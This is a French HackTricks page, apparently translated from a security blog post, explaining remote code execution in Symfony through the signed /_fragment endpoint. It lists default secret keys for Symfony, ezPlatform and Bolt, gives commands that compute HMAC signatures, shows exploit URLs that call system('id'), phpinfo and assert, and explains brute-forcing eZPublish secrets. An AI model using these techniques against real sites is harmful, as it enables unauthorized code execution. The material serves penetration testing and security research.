mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
541 lines
36 KiB
Markdown
541 lines
36 KiB
Markdown
## Symfony
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
|
|
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
## Introduction <a href="#introduction" id="introduction"></a>
|
|
|
|
Depuis sa création en 2008, l'utilisation du framework [Symfony](https://symfony.com) a été de plus en plus utilisée dans les applications basées sur PHP. Il est maintenant un composant central de nombreux CMS bien connus, tels que [Drupal](https://www.drupal.org), [Joomla!](https://www.joomla.org), [eZPlatform](https://ezplatform.com) (anciennement eZPublish) ou [Bolt](https://bolt.cm), et est souvent utilisé pour construire des sites web personnalisés.
|
|
|
|
L'une des fonctionnalités intégrées de Symfony, conçue pour gérer les [ESI (Edge-Side Includes)](https://en.wikipedia.org/wiki/Edge\_Side\_Includes), est la classe [`FragmentListener`](https://github.com/symfony/symfony/blob/5.1/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php). Essentiellement, lorsqu'une personne émet une demande à `/_fragment`, cet auditeur définit les attributs de la demande à partir des paramètres GET donnés. Comme cela permet d'exécuter du code PHP arbitraire (_plus d'informations à ce sujet plus tard_), la demande doit être signée à l'aide d'une valeur HMAC. La clé cryptographique secrète de ce HMAC est stockée sous une valeur de configuration Symfony nommée `secret`.
|
|
|
|
Cette valeur de configuration, `secret`, est également utilisée, par exemple, pour construire des jetons CSRF et des jetons de rappel. Étant donné son importance, cette valeur doit évidemment être très aléatoire.
|
|
|
|
Malheureusement, nous avons découvert que souvent, le secret a soit une **valeur par défaut**, soit il existe des **moyens d'obtenir la valeur, de la bruteforcer hors ligne, ou de simplement contourner la vérification de sécurité à laquelle elle est associée**. Cela affecte notamment Bolt, eZPlatform et eZPublish.
|
|
|
|
Bien que cela puisse sembler être un problème de configuration bénin, nous avons constaté que des valeurs par défaut, bruteforçables ou devinables sont **très, très souvent présentes** dans les CMS mentionnés ainsi que dans les applications personnalisées. Cela est principalement dû au fait de ne pas mettre suffisamment l'accent sur son importance dans la documentation ou les guides d'installation.
|
|
|
|
De plus, un attaquant peut escalader des vulnérabilités moins impactantes pour lire le `secret` (par le biais d'une divulgation de fichier), contourner le processus de signature `/_fragment` (en utilisant un SSRF) et même le divulguer via `phpinfo()` !
|
|
|
|
Dans ce billet de blog, nous décrirons comment le secret peut être obtenu dans divers CMS et sur le framework de base, et comment obtenir l'exécution de code à l'aide de ce secret.
|
|
|
|
## Un peu d'histoire <a href="#a-little-bit-of-history" id="a-little-bit-of-history"></a>
|
|
|
|
Étant un framework moderne, Symfony a dû gérer la génération de sous-parties d'une demande depuis sa création jusqu'à nos jours. Avant `/_fragment`, il y avait `/_internal` et `/_proxy`, qui faisaient essentiellement la même chose. Cela a produit de nombreuses vulnérabilités au fil des ans : [CVE-2012-6432](https://symfony.com/blog/security-release-symfony-2-0-20-and-2-1-5-released#cve-2012-6432-code-execution-vulnerability-via-the-internal-routes), [CVE-2014-5245](https://symfony.com/blog/cve-2014-5245-direct-access-of-esi-urls-behind-a-trusted-proxy) et [CVE-2015-4050](https://symfony.com/blog/cve-2015-4050-esi-unauthorized-access), par exemple.
|
|
|
|
Depuis Symfony 4, le secret est généré à l'installation et la page `/_fragment` est désactivée par défaut. On pourrait donc penser que la conjonction d'avoir à la fois une valeur `secret` faible et `/_fragment` activé serait rare. Ce n'est pas le cas : de nombreux frameworks s'appuient sur d'anciennes versions de Symfony (même la version 2.x est encore très présente), et implémentent soit une valeur `secret` statique, soit la génèrent mal. De plus, de nombreux frameworks s'appuient sur ESI et activent donc la page `/_fragment`. De plus, comme nous le verrons, d'autres vulnérabilités de moindre impact peuvent permettre de récupérer le secret, même s'il a été généré de manière sécurisée.
|
|
|
|
## Exécution de code à l'aide de `secret` <a href="#executing-code-with-the-help-of-secret" id="executing-code-with-the-help-of-secret"></a>
|
|
|
|
Nous allons d'abord démontrer comment un attaquant, ayant connaissance de la valeur de configuration `secret`, peut obtenir l'exécution de code. Cela est fait pour la dernière version de `symfony/http-kernel`, mais est similaire pour d'autres versions.
|
|
|
|
### Utilisation de `/_fragment` pour exécuter du code arbitraire <a href="#using-_fragment-to-run-arbitrary-code" id="using-_fragment-to-run-arbitrary-code"></a>
|
|
|
|
Comme mentionné précédemment, nous utiliserons la page `/_fragment`.
|
|
```php
|
|
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
|
|
|
|
class FragmentListener implements EventSubscriberInterface
|
|
{
|
|
public function onKernelRequest(RequestEvent $event)
|
|
{
|
|
$request = $event->getRequest();
|
|
|
|
# [1]
|
|
if ($this->fragmentPath !== rawurldecode($request->getPathInfo())) {
|
|
return;
|
|
}
|
|
|
|
if ($request->attributes->has('_controller')) {
|
|
// Is a sub-request: no need to parse _path but it should still be removed from query parameters as below.
|
|
$request->query->remove('_path');
|
|
|
|
return;
|
|
}
|
|
|
|
# [2]
|
|
if ($event->isMasterRequest()) {
|
|
$this->validateRequest($request);
|
|
}
|
|
|
|
# [3]
|
|
parse_str($request->query->get('_path', ''), $attributes);
|
|
$request->attributes->add($attributes);
|
|
$request->attributes->set('_route_params', array_replace($request->attributes->get('_route_params', []), $attributes));
|
|
$request->query->remove('_path');
|
|
}
|
|
}
|
|
```
|
|
`FragmentListener:onKernelRequest` sera exécuté à chaque requête : si le chemin de la requête est `/_fragment` \[1], la méthode vérifiera d'abord que la requête est valide (_c.-à-d._ correctement signée), et lèvera une exception sinon \[2]. Si les vérifications de sécurité réussissent, elle analysera le paramètre `_path` encodé en URL et définira les attributs `$request` en conséquence.
|
|
|
|
Les attributs de requête ne doivent pas être confondus avec les paramètres de requête HTTP : ce sont des valeurs internes, maintenues par Symfony, qui ne peuvent généralement pas être spécifiées par un utilisateur. L'un de ces attributs de requête est `_controller`, qui spécifie quel contrôleur Symfony (un tuple _(classe, méthode)_ ou simplement une _fonction_) doit être appelé. Les attributs dont le nom ne commence pas par `_` sont des arguments qui seront transmis au contrôleur. Par exemple, si nous voulions appeler cette méthode :
|
|
```php
|
|
class SomeClass
|
|
{
|
|
public function someMethod($firstMethodParam, $secondMethodParam)
|
|
{
|
|
...
|
|
}
|
|
}
|
|
```
|
|
Nous avons défini `_path` comme suit :
|
|
|
|
`_controller=SomeClass::someMethod&firstMethodParam=test1&secondMethodParam=test2`
|
|
|
|
La requête ressemblerait alors à ceci :
|
|
|
|
`http://symfony-site.com/_fragment?_path=_controller%3DSomeClass%253A%253AsomeMethod%26firstMethodParam%3Dtest1%26secondMethodParam%3Dtest2&_hash=...`
|
|
|
|
Essentiellement, cela permet d'appeler n'importe quelle fonction ou méthode de n'importe quelle classe, avec n'importe quel paramètre. Étant donné la pléthore de classes que Symfony possède, **l'obtention d'une exécution de code est triviale**. Nous pouvons, par exemple, appeler `system()` :
|
|
|
|
`http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=...`
|
|
|
|
_Appeler system ne fonctionnera pas à chaque fois : reportez-vous à la section Exploitation pour plus de détails sur les subtilités de l'exploitation._
|
|
|
|
Un problème reste : comment Symfony vérifie-t-il la signature de la requête ?
|
|
|
|
### Signature de l'URL <a href="#signing-the-url" id="signing-the-url"></a>
|
|
|
|
Pour vérifier la signature d'une URL, un HMAC est calculé sur l'URL _complète_. Le hash obtenu est ensuite comparé à celui spécifié par l'utilisateur.
|
|
|
|
En termes de code, cela se fait en deux endroits :
|
|
```php
|
|
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
|
|
|
|
class FragmentListener implements EventSubscriberInterface
|
|
{
|
|
protected function validateRequest(Request $request)
|
|
{
|
|
// is the Request safe?
|
|
if (!$request->isMethodSafe()) {
|
|
throw new AccessDeniedHttpException();
|
|
}
|
|
|
|
// is the Request signed?
|
|
if ($this->signer->checkRequest($request)) {
|
|
return;
|
|
}
|
|
|
|
# [3]
|
|
throw new AccessDeniedHttpException();
|
|
}
|
|
}
|
|
|
|
# ./vendor/symfony/http-kernel/UriSigner.php
|
|
|
|
class UriSigner
|
|
{
|
|
public function checkRequest(Request $request): bool
|
|
{
|
|
$qs = ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : '';
|
|
|
|
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
|
|
return $this->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().$qs);
|
|
}
|
|
|
|
/**
|
|
* Checks that a URI contains the correct hash.
|
|
*
|
|
* @return bool True if the URI is signed correctly, false otherwise
|
|
*/
|
|
public function check(string $uri)
|
|
{
|
|
$url = parse_url($uri);
|
|
if (isset($url['query'])) {
|
|
parse_str($url['query'], $params);
|
|
} else {
|
|
$params = [];
|
|
}
|
|
|
|
if (empty($params[$this->parameter])) {
|
|
return false;
|
|
}
|
|
|
|
$hash = $params[$this->parameter];
|
|
unset($params[$this->parameter]);
|
|
|
|
# [2]
|
|
return hash_equals($this->computeHash($this->buildUrl($url, $params)), $hash);
|
|
}
|
|
|
|
private function computeHash(string $uri): string
|
|
{
|
|
# [1]
|
|
return base64_encode(hash_hmac('sha256', $uri, $this->secret, true));
|
|
}
|
|
|
|
private function buildUrl(array $url, array $params = []): string
|
|
{
|
|
ksort($params, SORT_STRING);
|
|
$url['query'] = http_build_query($params, '', '&');
|
|
|
|
$scheme = isset($url['scheme']) ? $url['scheme'].'://' : '';
|
|
$host = isset($url['host']) ? $url['host'] : '';
|
|
$port = isset($url['port']) ? ':'.$url['port'] : '';
|
|
$user = isset($url['user']) ? $url['user'] : '';
|
|
$pass = isset($url['pass']) ? ':'.$url['pass'] : '';
|
|
$pass = ($user || $pass) ? "$pass@" : '';
|
|
$path = isset($url['path']) ? $url['path'] : '';
|
|
$query = isset($url['query']) && $url['query'] ? '?'.$url['query'] : '';
|
|
$fragment = isset($url['fragment']) ? '#'.$url['fragment'] : '';
|
|
|
|
return $scheme.$user.$pass.$host.$port.$path.$query.$fragment;
|
|
}
|
|
}
|
|
```
|
|
En bref, Symfony extrait le paramètre GET `_hash`, puis reconstruit l'URL complète, par exemple `https://symfony-site.com/_fragment?_path=controller%3d...%26argument1=test%26...`, calcule un HMAC à partir de cette URL en utilisant la `secret` comme clé \[1], et le compare à la valeur de hachage donnée \[2]. S'ils ne correspondent pas, une exception `AccessDeniedHttpException` est levée \[3], ce qui entraîne une erreur `403`.
|
|
|
|
### Exemple <a href="#example" id="example"></a>
|
|
|
|
Pour tester cela, configurons un environnement de test et extrayons la clé secrète (dans ce cas, générée de manière aléatoire).
|
|
```
|
|
$ git clone https://github.com/symfony/skeleton.git
|
|
$ cd skeleton
|
|
$ composer install
|
|
$ sed -i -E 's/#(esi|fragment)/\1/g' config/packages/framework.yaml # Enable ESI/fragment
|
|
$ grep -F APP_SECRET .env # Find secret
|
|
APP_SECRET=50c8215b436ebfcc1d568effb624a40e
|
|
$ cd public
|
|
$ php -S 0:8000
|
|
```
|
|
Maintenant, en visitant `http://localhost:8000/_fragment`, on obtient une erreur `403`. Essayons maintenant de fournir une signature valide:
|
|
```
|
|
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', 'http://localhost:8000/_fragment', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
|
|
lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D
|
|
```
|
|
En vérifiant `http://localhost:8000/_fragment?_hash=lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D`, nous avons maintenant un code d'état `404`. La signature était correcte, mais nous n'avons spécifié aucun attribut de requête, donc Symfony ne trouve pas notre contrôleur.
|
|
|
|
Puisque nous pouvons appeler n'importe quelle méthode, avec n'importe quel argument, nous pouvons par exemple choisir `system($command, $return_value)`, et fournir une charge utile comme ceci:
|
|
```
|
|
$ page="http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull"
|
|
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', '$page', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
|
|
GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D
|
|
```
|
|
Nous pouvons maintenant visiter l'URL d'exploitation : `http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D`.
|
|
|
|
Malgré l'erreur `500`, nous pouvons voir que **notre commande a été exécutée**.
|
|
|
|
_RCE en utilisant un fragment_
|
|
|
|
![1](https://www.ambionics.io/images/symfony-secret-fragment/1.png)
|
|
|
|
## Trouver des secrets <a href="#finding-secrets" id="finding-secrets"></a>
|
|
|
|
Encore une fois : tout cela n'aurait pas d'importance si les secrets n'étaient pas obtenables. Souvent, ils le sont. Nous décrirons plusieurs façons d'obtenir l'exécution de code sans aucune connaissance préalable.
|
|
|
|
### À travers les vulnérabilités <a href="#through-vulnerabilities" id="through-vulnerabilities"></a>
|
|
|
|
Commençons par l'évidence : utiliser des vulnérabilités à faible impact pour obtenir le secret.
|
|
|
|
#### Lecture de fichiers <a href="#file-read" id="file-read"></a>
|
|
|
|
De toute évidence, une vulnérabilité de lecture de fichiers pourrait être utilisée pour lire les fichiers suivants et obtenir `secret` :
|
|
|
|
* `app/config/parameters.yml`
|
|
* `.env`
|
|
|
|
_À titre d'exemple, certains outils de débogage Symfony vous permettent de lire des fichiers._
|
|
|
|
#### PHPinfo <a href="#phpinfo" id="phpinfo"></a>
|
|
|
|
Sur les versions récentes de Symfony (3.x), `secret` est stocké dans `.env` en tant que `APP_SECRET`. Comme il est ensuite importé en tant que variable d'environnement, ils peuvent être vus via une page `phpinfo()`.
|
|
|
|
_Fuite de APP\_SECRET via phpinfo_
|
|
|
|
![2](https://www.ambionics.io/images/symfony-secret-fragment/2.png)
|
|
|
|
Cela peut notamment être fait via le package de profilage de Symfony, comme le montre la capture d'écran.
|
|
|
|
#### SSRF / IP spoofing (CVE-2014-5245) <a href="#ssrf-ip-spoofing-cve-2014-5245" id="ssrf-ip-spoofing-cve-2014-5245"></a>
|
|
|
|
Le code derrière `FragmentListener` a évolué au fil des ans : jusqu'à la version _2.5.3_, lorsque la demande provenait d'un proxy de confiance (c'est-à-dire `localhost`), elle était considérée comme sûre, et donc le hachage ne serait pas vérifié. Un SSRF, par exemple, peut permettre d'exécuter immédiatement du code, indépendamment de la possession de `secret` ou non. Cela affecte notamment eZPublish jusqu'à 2014.7.
|
|
```php
|
|
# ./vendor/symfony/symfony/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php
|
|
# Symfony 2.3.18
|
|
|
|
class FragmentListener implements EventSubscriberInterface
|
|
{
|
|
protected function validateRequest(Request $request)
|
|
{
|
|
// is the Request safe?
|
|
if (!$request->isMethodSafe()) {
|
|
throw new AccessDeniedHttpException();
|
|
}
|
|
|
|
// does the Request come from a trusted IP?
|
|
$trustedIps = array_merge($this->getLocalIpAddresses(), $request->getTrustedProxies());
|
|
$remoteAddress = $request->server->get('REMOTE_ADDR');
|
|
if (IpUtils::checkIp($remoteAddress, $trustedIps)) {
|
|
return;
|
|
}
|
|
|
|
// is the Request signed?
|
|
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
|
|
if ($this->signer->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().(null !== ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : ''))) {
|
|
return;
|
|
}
|
|
|
|
throw new AccessDeniedHttpException();
|
|
}
|
|
|
|
protected function getLocalIpAddresses()
|
|
{
|
|
return array('127.0.0.1', 'fe80::1', '::1');
|
|
}
|
|
```
|
|
Il faut admettre que toutes ces techniques nécessitent une autre vulnérabilité. Plongeons dans un vecteur encore meilleur : les valeurs par défaut.
|
|
|
|
### À travers les valeurs par défaut <a href="#through-default-values" id="through-default-values"></a>
|
|
|
|
#### Symfony <= 3.4.43 : `ThisTokenIsNotSoSecretChangeIt` <a href="#symfony-3443-thistokenisnotsosecretchangeit" id="symfony-3443-thistokenisnotsosecretchangeit"></a>
|
|
|
|
Lors de la configuration d'un site web Symfony, la première étape consiste à installer le squelette [symfony-standard](https://github.com/symfony/symfony-standard). Lors de l'installation, une invite demande certaines valeurs de configuration. Par défaut, la clé est `ThisTokenIsNotSoSecretChangeIt`.
|
|
|
|
_Installation de Symfony via composer_
|
|
|
|
![3](https://www.ambionics.io/images/symfony-secret-fragment/3.png)
|
|
|
|
Dans les versions ultérieures (4+), la clé secrète est générée de manière sécurisée.
|
|
|
|
#### ezPlatform 3.x (dernière version) : `ff6dc61a329dc96652bb092ec58981f7` <a href="#ezplatform-3x-latest-ff6dc61a329dc96652bb092ec58981f7" id="ezplatform-3x-latest-ff6dc61a329dc96652bb092ec58981f7"></a>
|
|
|
|
[ezPlatform](https://ezplatform.com), le successeur de [ezPublish](https://en.wikipedia.org/wiki/EZ\_Publish), utilise toujours Symfony. Le 10 juin 2019, un [commit](https://github.com/ezsystems/ezplatform/commit/974f2a70d9d0507ba7ca17226693b1a4967f23cf#diff-f579cccc964135c7d644c7b2d3b0d3ecR59) a défini la clé par défaut à `ff6dc61a329dc96652bb092ec58981f7`. Les versions vulnérables vont de 3.0-alpha1 à 3.1.1 (actuelle).
|
|
|
|
Bien que la [documentation](https://doc.ezplatform.com/en/latest/getting\_started/install\_ez\_platform/#change-installation-parameters) indique que la clé secrète doit être modifiée, cela n'est pas obligatoire.
|
|
|
|
#### ezPlatform 2.x : `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt` <a href="#ezplatform-2x-thisezplatformtokenisnotsosecret_pleasechangeit" id="ezplatform-2x-thisezplatformtokenisnotsosecret_pleasechangeit"></a>
|
|
|
|
Comme le squelette de Symfony, une invite vous demandera d'entrer une clé secrète lors de l'installation. La valeur par défaut est `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt`.
|
|
|
|
#### Bolt CMS <= 3.7 (dernière version) : `md5(__DIR__)` <a href="#bolt-cms-37-latest-md5__dir__" id="bolt-cms-37-latest-md5__dir__"></a>
|
|
|
|
[Bolt CMS](https://bolt.cm) utilise [Silex](https://github.com/silexphp/Silex), un micro-framework obsolète basé sur Symfony. Il configure la clé secrète en utilisant ce calcul :
|
|
```php
|
|
# ./vendor/silex/silex/src/Silex/Provider/HttpFragmentServiceProvider.php
|
|
$app['uri_signer.secret'] = md5(__DIR__);
|
|
|
|
# ./vendor/silex/silex/src/Silex/Provider/FormServiceProvider.php
|
|
$app['form.secret'] = md5(__DIR__);
|
|
```
|
|
Ainsi, on peut deviner le secret, ou utiliser une vulnérabilité de divulgation de chemin complet pour le calculer.
|
|
|
|
Si vous n'avez pas réussi avec les clés secrètes par défaut, ne désespérez pas : il y a d'autres moyens.
|
|
|
|
### Bruteforce <a href="#bruteforce" id="bruteforce"></a>
|
|
|
|
Comme le secret est souvent défini manuellement (par opposition à une valeur aléatoire générée), les gens utilisent souvent une phrase secrète au lieu d'une valeur aléatoire sécurisée, ce qui la rend brute-forçable si nous avons un hachage pour la brute-forcer. Évidemment, une URL `/_fragment` valide, telle que celle générée par Symfony, nous fournirait un tuple message-hachage valide pour brute-forcer le secret.
|
|
|
|
_Une demande valide au fragment est incluse dans la réponse_
|
|
|
|
![4](https://www.ambionics.io/images/symfony-secret-fragment/4.png)
|
|
|
|
Au début de ce billet de blog, nous avons dit que le secret de Symfony avait plusieurs utilisations. L'une de ces utilisations est qu'il est également utilisé pour générer des jetons CSRF. Une autre utilisation de `secret` est de signer les cookies de rappel. Dans certains cas, un attaquant peut utiliser son propre jeton CSRF ou cookie de rappel pour brute-forcer la valeur de `secret`.
|
|
|
|
_La rétro-ingénierie de la construction de ces jetons est laissée en exercice au lecteur._
|
|
|
|
### Aller plus loin : eZPublish <a href="#going-further-ezpublish" id="going-further-ezpublish"></a>
|
|
|
|
À titre d'exemple de la façon dont les secrets peuvent être brute-forcés afin d'obtenir une exécution de code, nous verrons comment nous pouvons découvrir le secret d'eZPublish 2014.07.
|
|
|
|
#### Trouver du matériel de brute-force <a href="#finding-bruteforce-material" id="finding-bruteforce-material"></a>
|
|
|
|
eZPublish génère ses jetons CSRF de cette manière :
|
|
```php
|
|
# ./ezpublish_legacy/extension/ezformtoken/event/ezxformtoken.php
|
|
self::$token = sha1( self::getSecret() . self::getIntention() . session_id() );
|
|
```
|
|
Pour construire ce jeton, eZP utilise deux valeurs que nous connaissons, ainsi que le secret : `getIntention()` est l'action que l'utilisateur tente de réaliser (`authentifier`, par exemple), `session_id()` est l'identifiant de session PHP, et `getSecret()`, eh bien, c'est le `secret` de Symfony.
|
|
|
|
Comme les jetons CSRF peuvent être trouvés sur certains formulaires, nous avons maintenant le matériel nécessaire pour forcer le secret.
|
|
|
|
Malheureusement, ezPublish a incorporé un bundle de sensiolabs, [sensio/distribution-bundle](https://packagist.org/packages/sensio/distribution-bundle). Ce package s'assure que la clé secrète est aléatoire. Il la génère ainsi, lors de l'installation :
|
|
```php
|
|
# ./vendor/sensio/distribution-bundle/Sensio/Bundle/DistributionBundle/Configurator/Step/SecretStep.php
|
|
|
|
private function generateRandomSecret()
|
|
{
|
|
return hash('sha1', uniqid(mt_rand()));
|
|
}
|
|
```
|
|
Cela semble vraiment difficile à bruteforcer : `mt_rand()` peut produire 231 valeurs différentes, et `uniqid()` est construit à partir de l'horodatage actuel (avec des microsecondes).
|
|
```php
|
|
// Simplified uniqid code
|
|
|
|
struct timeval tv;
|
|
gettimeofday(&tv, NULL);
|
|
return strpprintf(0, "%s%08x%05x", prefix, tv.tv_sec, tv.tv_usec);
|
|
```
|
|
#### Divulgation de l'horodatage <a href="#disclosing-the-timestamp" id="disclosing-the-timestamp"></a>
|
|
|
|
Heureusement, nous savons que ce secret est généré à la dernière étape de l'installation, juste après la mise en place du site web. Cela signifie que nous pouvons probablement divulguer l'horodatage utilisé pour générer ce hash.
|
|
|
|
Une façon de le faire est d'utiliser les journaux (_par exemple_ `/var/log/storage.log`); on peut divulguer la première fois qu'une entrée de cache a été créée. L'entrée de cache est créée juste après l'appel de `generateRandomSecret()`.
|
|
|
|
_Contenu d'un journal d'exemple: l'horodatage est similaire à celui utilisé pour calculer le secret_
|
|
|
|
![5](https://www.ambionics.io/images/symfony-secret-fragment/5.png)
|
|
|
|
Si les journaux ne sont pas disponibles, on peut utiliser le moteur de recherche très puissant d'eZPublish pour trouver l'heure de création du tout premier élément du site web. En effet, lors de la création du site, de nombreux horodatages sont mis dans la base de données. Cela signifie que l'horodatage des données initiales du site eZPublish est le même que celui utilisé pour calculer `uniqid()`. Nous pouvons chercher le _ContentObject_ `landing_page` et découvrir son horodatage.
|
|
|
|
## Bruteforcer les bits manquants <a href="#bruteforcing-the-missing-bits" id="bruteforcing-the-missing-bits"></a>
|
|
|
|
Nous sommes maintenant conscients de l'horodatage utilisé pour calculer le secret, ainsi que d'un hash de la forme suivante:
|
|
```php
|
|
$random_value = mt_rand();
|
|
$timestamp_hex = sprintf("%08x%05x", $known_timestamp, $microseconds);
|
|
$known_plaintext = '<intention><sessionID>';
|
|
$known_hash = sha1(sha1(mt_rand() . $timestamp_hex) . $known_plaintext);
|
|
```
|
|
Cela nous laisse un total de 231 \* 106 possibilités. Cela semble faisable avec [hashcat](https://hashcat.net) et un bon ensemble de GPU, mais hashcat ne fournit pas de noyau `sha1(sha1($pass).$salt)`. Heureusement, nous l'avons implémenté ! Vous pouvez trouver [la demande de tirage ici](https://github.com/hashcat/hashcat/pull/2536).
|
|
|
|
En utilisant notre machine de craquage, qui dispose de 8 GPU, nous pouvons craquer ce hash en _moins de 20 heures_.
|
|
|
|
Après avoir obtenu le hash, nous pouvons utiliser `/_fragment` pour exécuter du code.
|
|
|
|
## Conclusion <a href="#conclusion" id="conclusion"></a>
|
|
|
|
Symfony est maintenant un composant central de nombreuses applications PHP. En tant que tel, tout risque de sécurité qui affecte le framework affecte de nombreux sites web. Comme le démontre cet article, une clé secrète faible ou une vulnérabilité moins importante permet aux attaquants d'obtenir une **exécution de code à distance**.
|
|
|
|
En tant que membre de l'équipe de sécurité, vous devriez examiner tous vos sites web dépendant de Symfony. Un logiciel à jour ne peut être exclu pour les vulnérabilités, car la clé secrète est générée lors de la première installation du produit. Ainsi, si vous avez créé un site web basé sur Symfony 3.x il y a quelques années et que vous l'avez maintenu à jour tout au long du processus, il y a de fortes chances que la clé secrète soit toujours celle par défaut.
|
|
|
|
## Exploitation <a href="#exploitation" id="exploitation"></a>
|
|
|
|
### Théorie <a href="#theory" id="theory"></a>
|
|
|
|
D'une part, nous avons quelques choses à craindre lors de l'exploitation de cette vulnérabilité :
|
|
|
|
* L'HMAC est calculé en utilisant l'**URL complète**. Si le site web est derrière un proxy inverse, nous devons utiliser l'URL interne du service au lieu de celle à laquelle nous envoyons notre charge utile. Par exemple, l'URL interne pourrait être en HTTP au lieu de HTTPS.
|
|
* L'algorithme HMAC a changé au fil des ans : il était **SHA-1** avant, et est maintenant **SHA-256**.
|
|
* Comme Symfony supprime le paramètre `_hash` de la requête, puis génère à nouveau l'URL, nous devons calculer le hash sur la même URL qu'elle.
|
|
* De nombreux secrets peuvent être utilisés, nous devons donc tous les vérifier.
|
|
* Sur certaines versions de PHP, nous ne pouvons pas appeler des fonctions qui ont des paramètres "par référence", comme `system($command, &$return_value)`.
|
|
* Sur certaines versions de Symfony, `_controller` ne peut pas être une fonction, il doit s'agir d'une méthode. Nous devons trouver une méthode Symfony qui nous permet d'exécuter du code.
|
|
|
|
D'autre part, nous pouvons profiter de quelques choses :
|
|
|
|
* Atteindre `/_fragment` sans paramètres, ou avec un hash invalide, devrait renvoyer un `403`.
|
|
* Atteindre `/_fragment` avec un hash valide mais sans un contrôleur valide devrait donner un `500`.
|
|
|
|
Le dernier point nous permet de tester les valeurs secrètes sans nous soucier de la fonction ou de la méthode que nous allons appeler ensuite.
|
|
|
|
### Pratique <a href="#practice" id="practice"></a>
|
|
|
|
Disons que nous attaquons `https://target.com/_fragment`. Pour pouvoir signer correctement une URL, nous avons besoin de connaître :
|
|
|
|
* URL interne : cela pourrait être `https://target.com/_fragment`, ou peut-être `http://target.com/_fragment`, ou quelque chose de complètement différent (_par exemple_ `http://target.website.internal`), que nous ne pouvons pas deviner
|
|
* Clé secrète : nous avons une liste de clés secrètes habituelles, telles que `ThisTokenIsNotSoSecretChangeIt`, `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt`, etc.
|
|
* Algorithme : SHA1 ou SHA256
|
|
|
|
Nous n'avons pas besoin de nous soucier de la charge utile effective (le contenu de `_path`) pour l'instant, car une URL correctement signée ne donnera pas lieu à une `AccessDeniedHttpException`, et ne donnera donc pas lieu à un `403`. L'exploit va donc essayer chaque combinaison `(algorithme, URL, secret)`, générer une URL et vérifier si elle ne renvoie pas un code d'état `403`.
|
|
|
|
_Une demande valide à `/_fragment`, sans le paramètre `_path`_
|
|
|
|
![6](https://www.ambionics.io/images/symfony-secret-fragment/6.png)
|
|
|
|
À ce stade, nous pouvons signer n'importe quelle URL `/_fragment`, ce qui signifie qu'il s'agit d'une RCE garantie. Il s'agit simplement de savoir quoi appeler.
|
|
|
|
Ensuite, nous devons savoir si nous pouvons appeler une fonction directement, ou si nous devons utiliser une méthode de classe. Nous pouvons d'abord essayer la première méthode la plus simple, en utilisant une fonction telle que `phpinfo ([ int $what = INFO_ALL ] )` ([documentation](https://www.php.net/manual/en/function.phpinfo.php)). Le paramètre GET `_path` ressemblerait à cela :
|
|
```
|
|
_controller=phpinfo
|
|
&what=-1
|
|
```
|
|
Et l'URL ressemblerait à ceci :
|
|
|
|
`http://target.com/_fragment?_path=_controller%3Dphpinfo%26what%3D-1&_hash=...`
|
|
|
|
Si la réponse HTTP affiche une page `phpinfo()`, nous avons réussi. Nous pouvons alors essayer d'utiliser une autre fonction, telle que `assert` :
|
|
|
|
_Exemple de sortie en utilisant `_controller=assert`_
|
|
|
|
![7](https://www.ambionics.io/images/symfony-secret-fragment/7.png)
|
|
|
|
